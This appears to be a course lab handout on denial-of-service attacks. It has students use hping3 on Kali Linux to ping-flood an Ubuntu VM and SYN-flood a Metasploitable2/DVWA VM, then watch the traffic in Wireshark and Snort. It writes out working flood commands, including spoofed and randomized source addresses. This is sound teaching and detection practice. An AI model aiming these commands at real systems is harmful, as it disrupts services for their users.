LAB-10

9. Imagine you are the network security administrator for a medium-sized e-commerce company that operates an online store handling sensitive customer information. Recently, there have been reports of intermittent service disruptions and slow response times on your company's website, resulting in customer complaints and loss of revenue. After conducting initial investigations, you suspect that the website may be experiencing denial-of-service (DoS) attacks, specifically SYN floods and Ping flood attacks. So, it is important for organizations to have response plans in place to mitigate the impact of DoS attacks on their operations. Use Hping3, kali Linux tool to perform SYN floods and ping flood attacks to launch DOS attack on the target machine and proactively monitor the networks for signs of attack.

What is DOS attack?

A Denial of Service Attack is a cyber-attack in which the attacker seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely distributing services of a host connected to the internet. DOS attack is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems.

Ping Flood Dos Attack:-

Ping Network Utility

- Ping is a troubleshooting tool used by system administrators to manually test for connectivity between network devices and also for network delay and packet loss.
- The Ping command sends an ICMP echo request to a device on the network, and device responds with ICMP echo reply.
- The data returned in echo request message must be returned in the echo reply message.

Exercise:

Ensure Kali Linux and Ubuntu vm are up and running.
Ping from kali linux machine to ubuntu
ping 192.168.62.133
Start capturing ICMP request/reply from wireshark.
Once you capture and can notice in wireshark analyzer, the ICMP packet request and ICMP packet reply.

Hping3 Tool Demo

Hping3 tool is used to generate lot of ICMP request packets.(i.e flooding our target with lot of ping packets)
Wireshark used as a packet analyzer.
Ubuntu is a target machine.
In ubuntu Install Snort(Intrusion Detection System) by using below command.
sudo apt-get install snort -y.
and keep the IDS ready for observing the packet transfer by using below command.
sudo snort -A console -c /etc/snort/snort.conf
Then in Kali linux machine run the hping2 tool commands. And observe ubuntu snort output and wireshark Analyzer ouput for the flood of packets.

a. sudo hping3 -1 -c 1 192.168.62.133
b. sudo hping3 -1 -c 1 -i 5 192.168.62.133
c. sudo hping3 -1 --faster 192.168.62.133

d. sudo hping3 -1 --faster 192.168.62.133
e. sudo hping3 -1 -a 192.168.62.139 192.168.62.133
f. sudo hping3 -1 –rand-source 192.168.62.133

Tcp 3 way handshake
For Syn Flood Attack , use below commands
Ensure Kali Linux and Metaspoiltable2 are up and running..
In kali linux browser, type metaspoiltable 2 IP to launch DVWA application, login.
a. sudo hping3 -S -c 1 -p 80 192.168.62.129
b. sudo hping3 -S -c 1 -p 80 -i 5 192.168.62.129
c. sudo hping3 -S --flood -p 80 192.168.62.129

Once the target machine is flooded with Syn packets, observe in the wireshark analyzer, you can see target system (metaspoiltable2 Vm) is flooded with packets. And DVWA application is taking time to load.